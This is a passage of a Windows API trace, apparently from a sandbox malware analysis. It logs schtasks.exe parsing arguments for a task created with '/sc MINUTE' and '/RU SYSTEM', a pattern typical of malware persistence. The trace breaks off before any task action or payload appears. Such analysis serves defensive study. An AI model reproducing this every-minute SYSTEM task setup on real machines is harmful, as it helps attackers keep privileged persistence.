[0056.486] SetLastError (dwErrCode=0x0) [0056.486] SetLastError (dwErrCode=0x0) [0056.486] lstrlenW (lpString="/RU") returned 3 [0056.486] lstrlenW (lpString="-/") returned 2 [0056.486] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0056.486] lstrlenW (lpString="?") returned 1 [0056.486] lstrlenW (lpString="?") returned 1 [0056.486] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.486] lstrlenW (lpString="RU") returned 2 [0056.486] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.486] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|?|") returned 3 [0056.486] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|RU|") returned 4 [0056.486] lstrlenW (lpString="|?|") returned 3 [0056.486] lstrlenW (lpString="|RU|") returned 4 [0056.486] SetLastError (dwErrCode=0x490) [0056.486] lstrlenW (lpString="create") returned 6 [0056.486] lstrlenW (lpString="create") returned 6 [0056.486] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.486] lstrlenW (lpString="RU") returned 2 [0056.486] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.486] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x9, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|create|") returned 8 [0056.486] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|RU|") returned 4 [0056.486] lstrlenW (lpString="|create|") returned 8 [0056.486] lstrlenW (lpString="|RU|") returned 4 [0056.486] StrStrIW (lpFirst="|create|", lpSrch="|RU|") returned 0x0 [0056.486] SetLastError (dwErrCode=0x490) [0056.486] lstrlenW (lpString="delete") returned 6 [0056.486] lstrlenW (lpString="delete") returned 6 [0056.486] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.487] lstrlenW (lpString="RU") returned 2 [0056.487] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.487] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x9, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|delete|") returned 8 [0056.487] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|RU|") returned 4 [0056.487] lstrlenW (lpString="|delete|") returned 8 [0056.487] lstrlenW (lpString="|RU|") returned 4 [0056.487] StrStrIW (lpFirst="|delete|", lpSrch="|RU|") returned 0x0 [0056.487] SetLastError (dwErrCode=0x490) [0056.487] lstrlenW (lpString="query") returned 5 [0056.487] lstrlenW (lpString="query") returned 5 [0056.487] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.487] lstrlenW (lpString="RU") returned 2 [0056.487] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.487] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x8, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|query|") returned 7 [0056.487] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|RU|") returned 4 [0056.487] lstrlenW (lpString="|query|") returned 7 [0056.487] lstrlenW (lpString="|RU|") returned 4 [0056.487] StrStrIW (lpFirst="|query|", lpSrch="|RU|") returned 0x0 [0056.487] SetLastError (dwErrCode=0x490) [0056.487] lstrlenW (lpString="change") returned 6 [0056.487] lstrlenW (lpString="change") returned 6 [0056.487] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.487] lstrlenW (lpString="RU") returned 2 [0056.487] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.487] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x9, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|change|") returned 8 [0056.487] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|RU|") returned 4 [0056.487] lstrlenW (lpString="|change|") returned 8 [0056.487] lstrlenW (lpString="|RU|") returned 4 [0056.487] StrStrIW (lpFirst="|change|", lpSrch="|RU|") returned 0x0 [0056.487] SetLastError (dwErrCode=0x490) [0056.487] lstrlenW (lpString="run") returned 3 [0056.487] lstrlenW (lpString="run") returned 3 [0056.487] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.487] lstrlenW (lpString="RU") returned 2 [0056.487] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.487] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|run|") returned 5 [0056.487] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|RU|") returned 4 [0056.487] lstrlenW (lpString="|run|") returned 5 [0056.487] lstrlenW (lpString="|RU|") returned 4 [0056.487] StrStrIW (lpFirst="|run|", lpSrch="|RU|") returned 0x0 [0056.487] SetLastError (dwErrCode=0x490) [0056.487] lstrlenW (lpString="end") returned 3 [0056.487] lstrlenW (lpString="end") returned 3 [0056.488] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.488] lstrlenW (lpString="RU") returned 2 [0056.488] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.488] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|end|") returned 5 [0056.488] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|RU|") returned 4 [0056.488] lstrlenW (lpString="|end|") returned 5 [0056.488] lstrlenW (lpString="|RU|") returned 4 [0056.488] StrStrIW (lpFirst="|end|", lpSrch="|RU|") returned 0x0 [0056.488] SetLastError (dwErrCode=0x490) [0056.488] lstrlenW (lpString="showsid") returned 7 [0056.488] lstrlenW (lpString="showsid") returned 7 [0056.488] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.488] lstrlenW (lpString="RU") returned 2 [0056.488] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.488] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0xa, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|showsid|") returned 9 [0056.488] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|RU|") returned 4 [0056.488] lstrlenW (lpString="|showsid|") returned 9 [0056.488] lstrlenW (lpString="|RU|") returned 4 [0056.488] StrStrIW (lpFirst="|showsid|", lpSrch="|RU|") returned 0x0 [0056.488] SetLastError (dwErrCode=0x490) [0056.488] SetLastError (dwErrCode=0x490) [0056.488] SetLastError (dwErrCode=0x0) [0056.488] lstrlenW (lpString="/RU") returned 3 [0056.488] StrChrIW (lpStart="/RU", wMatch=0x3a) returned 0x0 [0056.488] SetLastError (dwErrCode=0x490) [0056.488] SetLastError (dwErrCode=0x0) [0056.488] lstrlenW (lpString="/RU") returned 3 [0056.488] SetLastError (dwErrCode=0x0) [0056.488] SetLastError (dwErrCode=0x0) [0056.488] lstrlenW (lpString="SYSTEM") returned 6 [0056.488] lstrlenW (lpString="-/") returned 2 [0056.488] StrChrIW (lpStart="-/", wMatch=0x53) returned 0x0 [0056.488] SetLastError (dwErrCode=0x490) [0056.488] SetLastError (dwErrCode=0x490) [0056.488] SetLastError (dwErrCode=0x0) [0056.488] lstrlenW (lpString="SYSTEM") returned 6 [0056.488] StrChrIW (lpStart="SYSTEM", wMatch=0x3a) returned 0x0 [0056.488] SetLastError (dwErrCode=0x490) [0056.488] SetLastError (dwErrCode=0x0) [0056.488] lstrlenW (lpString="SYSTEM") returned 6 [0056.489] SetLastError (dwErrCode=0x0) [0056.491] SetLastError (dwErrCode=0x0) [0056.491] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0056.491] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0056.491] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0056.491] VerifyVersionInfoW (in: lpVersionInformation=0x14c660, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x14c660) returned 1 [0056.491] SetLastError (dwErrCode=0x0) [0056.491] lstrlenW (lpString="create") returned 6 [0056.491] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0056.491] SetLastError (dwErrCode=0x490) [0056.491] SetLastError (dwErrCode=0x0) [0056.491] lstrlenW (lpString="create") returned 6 [0056.491] _memicmp (_Buf1=0x1bd670, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.491] SetLastError (dwErrCode=0x0) [0056.491] _memicmp (_Buf1=0x1bbb60, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.491] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1bbd00, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0056.491] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0056.492] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x1bede0 | out: lpData=0x1bede0) returned 1 [0056.492] VerQueryValueW (in: pBlock=0x1bede0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x14c748, puLen=0x14c7b0 | out: lplpBuffer=0x14c748*=0x1bf17c, puLen=0x14c7b0) returned 1 [0056.492] _memicmp (_Buf1=0x1bbb60, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.492] _vsnwprintf (in: _Buffer=0x1bbd00, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x14c728 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0056.492] VerQueryValueW (in: pBlock=0x1bede0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x14c7b8, puLen=0x14c7a8 | out: lplpBuffer=0x14c7b8*=0x1befa8, puLen=0x14c7a8) returned 1 [0056.492] lstrlenW (lpString="schtasks.exe") returned 12 [0056.492] lstrlenW (lpString="schtasks.exe") returned 12 [0056.492] lstrlenW (lpString=".EXE") returned 4 [0056.492] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0056.492] lstrlenW (lpString="schtasks.exe") returned 12 [0056.492] lstrlenW (lpString=".EXE") returned 4 [0056.492] lstrlenW (lpString="schtasks") returned 8 [0056.492] lstrlenW (lpString="/create") returned 7 [0056.492] _memicmp (_Buf1=0x1bbb60, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.492] _vsnwprintf (in: _Buffer=0x1bbd00, _BufferCount=0x19, _Format="%s %s", _ArgList=0x14c728 | out: _Buffer="schtasks /create") returned 16 [0056.492] _memicmp (_Buf1=0x1bbb80, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.492] _memicmp (_Buf1=0x1bbba0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.492] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x1bd390, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0056.492] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0056.492] _vsnwprintf (in: _Buffer=0x1bc100, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x14c728 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0056.492] SetLastError (dwErrCode=0x0) [0056.492] GetThreadLocale () returned 0x409 [0056.492] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0056.493] lstrlenW (lpString="create") returned 6 [0056.493] GetThreadLocale () returned 0x409 [0056.493] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0056.493] lstrlenW (lpString="?") returned 1 [0056.493] GetThreadLocale () returned 0x409 [0056.493] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0056.493] lstrlenW (lpString="s") returned 1 [0056.493] GetThreadLocale () returned 0x409 [0056.493] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0056.493] lstrlenW (lpString="u") returned 1 [0056.493] GetThreadLocale () returned 0x409 [0056.493] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0056.493] lstrlenW (lpString="p") returned 1 [0056.493] GetThreadLocale () returned 0x409 [0056.493] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0056.493] lstrlenW (lpString="ru") returned 2 [0056.493] GetThreadLocale () returned 0x409 [0056.493] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0056.493] lstrlenW (lpString="rp") returned 2 [0056.493] GetThreadLocale () returned 0x409 [0056.493] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0056.493] lstrlenW (lpString="sc") returned 2 [0056.493] GetThreadLocale () returned 0x409 [0056.493] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0056.493] lstrlenW (lpString="mo") returned 2 [0056.493] GetThreadLocale () returned 0x409 [0056.493] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0056.493] lstrlenW (lpString="d") returned 1 [0056.493] GetThreadLocale () returned 0x409 [0056.493] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0056.493] lstrlenW (lpString="m") returned 1 [0056.493] GetThreadLocale () returned 0x409 [0056.493] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0056.493] lstrlenW (lpString="i") returned 1 [0056.493] GetThreadLocale () returned 0x409 [0056.493] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0056.493] lstrlenW (lpString="tn") returned 2 [0056.493] GetThreadLocale () returned 0x409 [0056.493] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0056.493] lstrlenW (lpString="tr") returned 2 [0056.493] GetThreadLocale () returned 0x409 [0056.493] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0056.493] lstrlenW (lpString="st") returned 2 [0056.493] GetThreadLocale () returned 0x409 [0056.493] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0056.493] lstrlenW (lpString="sd") returned 2 [0056.493] GetThreadLocale () returned 0x409 [0056.493] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0056.494] lstrlenW (lpString="ed") returned 2 [0056.494] GetThreadLocale () returned 0x409 [0056.494] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0056.494] lstrlenW (lpString="it") returned 2 [0056.494] GetThreadLocale () returned 0x409 [0056.494] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0056.494] lstrlenW (lpString="et") returned 2 [0056.494] GetThreadLocale () returned 0x409 [0056.494] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0056.494] lstrlenW (lpString="k") returned 1 [0056.494] GetThreadLocale () returned 0x409 [0056.494] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0056.494] lstrlenW (lpString="du") returned 2 [0056.494] GetThreadLocale () returned 0x409 [0056.494] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0056.494] lstrlenW (lpString="ri") returned 2 [0056.494] GetThreadLocale () returned 0x409 [0056.494] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0056.494] lstrlenW (lpString="z") returned 1 [0056.494] GetThreadLocale () returned 0x409 [0056.494] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0056.494] lstrlenW (lpString="f") returned 1 [0056.494] GetThreadLocale () returned 0x409 [0056.494] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0056.494] lstrlenW (lpString="v1") returned 2 [0056.494] GetThreadLocale () returned 0x409 [0056.494] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0056.494] lstrlenW (lpString="xml") returned 3 [0056.494] GetThreadLocale () returned 0x409 [0056.494] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0056.494] lstrlenW (lpString="ec") returned 2 [0056.494] GetThreadLocale () returned 0x409 [0056.494] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0056.494] lstrlenW (lpString="rl") returned 2 [0056.494] GetThreadLocale () returned 0x409 [0056.494] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0056.494] lstrlenW (lpString="delay") returned 5 [0056.494] GetThreadLocale () returned 0x409 [0056.494] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0056.494] lstrlenW (lpString="np") returned 2 [0056.494] SetLastError (dwErrCode=0x0) [0056.494] SetLastError (dwErrCode=0x0) [0056.494] lstrlenW (lpString="/create") returned 7 [0056.494] lstrlenW (lpString="-/") returned 2 [0056.494] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0056.494] lstrlenW (lpString="create") returned 6 [0056.494] lstrlenW (lpString="create") returned 6 [0056.494] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.495] lstrlenW (lpString="create") returned 6 [0056.495] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.495] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x9, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|create|") returned 8 [0056.495] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x9, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|create|") returned 8 [0056.495] lstrlenW (lpString="|create|") returned 8 [0056.495] lstrlenW (lpString="|create|") returned 8 [0056.495] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0056.495] SetLastError (dwErrCode=0x0) [0056.495] SetLastError (dwErrCode=0x0) [0056.495] SetLastError (dwErrCode=0x0) [0056.495] lstrlenW (lpString="/sc") returned 3 [0056.495] lstrlenW (lpString="-/") returned 2 [0056.495] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0056.495] lstrlenW (lpString="create") returned 6 [0056.495] lstrlenW (lpString="create") returned 6 [0056.495] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.495] lstrlenW (lpString="sc") returned 2 [0056.495] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.495] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x9, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|create|") returned 8 [0056.495] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|sc|") returned 4 [0056.495] lstrlenW (lpString="|create|") returned 8 [0056.495] lstrlenW (lpString="|sc|") returned 4 [0056.495] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0056.495] SetLastError (dwErrCode=0x490) [0056.495] lstrlenW (lpString="?") returned 1 [0056.495] lstrlenW (lpString="?") returned 1 [0056.495] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.495] lstrlenW (lpString="sc") returned 2 [0056.495] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.495] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|?|") returned 3 [0056.495] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|sc|") returned 4 [0056.495] lstrlenW (lpString="|?|") returned 3 [0056.495] lstrlenW (lpString="|sc|") returned 4 [0056.495] SetLastError (dwErrCode=0x490) [0056.495] lstrlenW (lpString="s") returned 1 [0056.495] lstrlenW (lpString="s") returned 1 [0056.495] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.495] lstrlenW (lpString="sc") returned 2 [0056.495] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.495] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|s|") returned 3 [0056.495] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|sc|") returned 4 [0056.495] lstrlenW (lpString="|s|") returned 3 [0056.495] lstrlenW (lpString="|sc|") returned 4 [0056.496] SetLastError (dwErrCode=0x490) [0056.496] lstrlenW (lpString="u") returned 1 [0056.496] lstrlenW (lpString="u") returned 1 [0056.496] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.496] lstrlenW (lpString="sc") returned 2 [0056.496] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.496] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|u|") returned 3 [0056.496] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|sc|") returned 4 [0056.496] lstrlenW (lpString="|u|") returned 3 [0056.496] lstrlenW (lpString="|sc|") returned 4 [0056.496] SetLastError (dwErrCode=0x490) [0056.496] lstrlenW (lpString="p") returned 1 [0056.496] lstrlenW (lpString="p") returned 1 [0056.496] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.496] lstrlenW (lpString="sc") returned 2 [0056.496] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.496] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|p|") returned 3 [0056.496] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|sc|") returned 4 [0056.496] lstrlenW (lpString="|p|") returned 3 [0056.496] lstrlenW (lpString="|sc|") returned 4 [0056.496] SetLastError (dwErrCode=0x490) [0056.496] lstrlenW (lpString="ru") returned 2 [0056.496] lstrlenW (lpString="ru") returned 2 [0056.496] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.496] lstrlenW (lpString="sc") returned 2 [0056.496] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.496] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|ru|") returned 4 [0056.496] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|sc|") returned 4 [0056.496] lstrlenW (lpString="|ru|") returned 4 [0056.496] lstrlenW (lpString="|sc|") returned 4 [0056.496] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0056.496] SetLastError (dwErrCode=0x490) [0056.496] lstrlenW (lpString="rp") returned 2 [0056.496] lstrlenW (lpString="rp") returned 2 [0056.496] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.496] lstrlenW (lpString="sc") returned 2 [0056.496] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.496] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|rp|") returned 4 [0056.496] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|sc|") returned 4 [0056.496] lstrlenW (lpString="|rp|") returned 4 [0056.496] lstrlenW (lpString="|sc|") returned 4 [0056.496] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0056.496] SetLastError (dwErrCode=0x490) [0056.496] lstrlenW (lpString="sc") returned 2 [0056.497] lstrlenW (lpString="sc") returned 2 [0056.497] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.497] lstrlenW (lpString="sc") returned 2 [0056.497] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.497] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|sc|") returned 4 [0056.497] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|sc|") returned 4 [0056.497] lstrlenW (lpString="|sc|") returned 4 [0056.497] lstrlenW (lpString="|sc|") returned 4 [0056.497] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0056.497] SetLastError (dwErrCode=0x0) [0056.497] SetLastError (dwErrCode=0x0) [0056.497] lstrlenW (lpString="MINUTE") returned 6 [0056.497] lstrlenW (lpString="-/") returned 2 [0056.497] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0056.497] SetLastError (dwErrCode=0x490) [0056.497] SetLastError (dwErrCode=0x490) [0056.497] SetLastError (dwErrCode=0x0) [0056.497] lstrlenW (lpString="MINUTE") returned 6 [0056.497] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0056.497] SetLastError (dwErrCode=0x490) [0056.497] SetLastError (dwErrCode=0x0) [0056.497] _memicmp (_Buf1=0x1bd5d0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.497] lstrlenW (lpString="MINUTE") returned 6 [0056.497] lstrlenW (lpString="MINUTE") returned 6 [0056.497] lstrlenW (lpString=" \x09") returned 2 [0056.497] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0056.497] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0056.497] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0056.497] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0056.497] 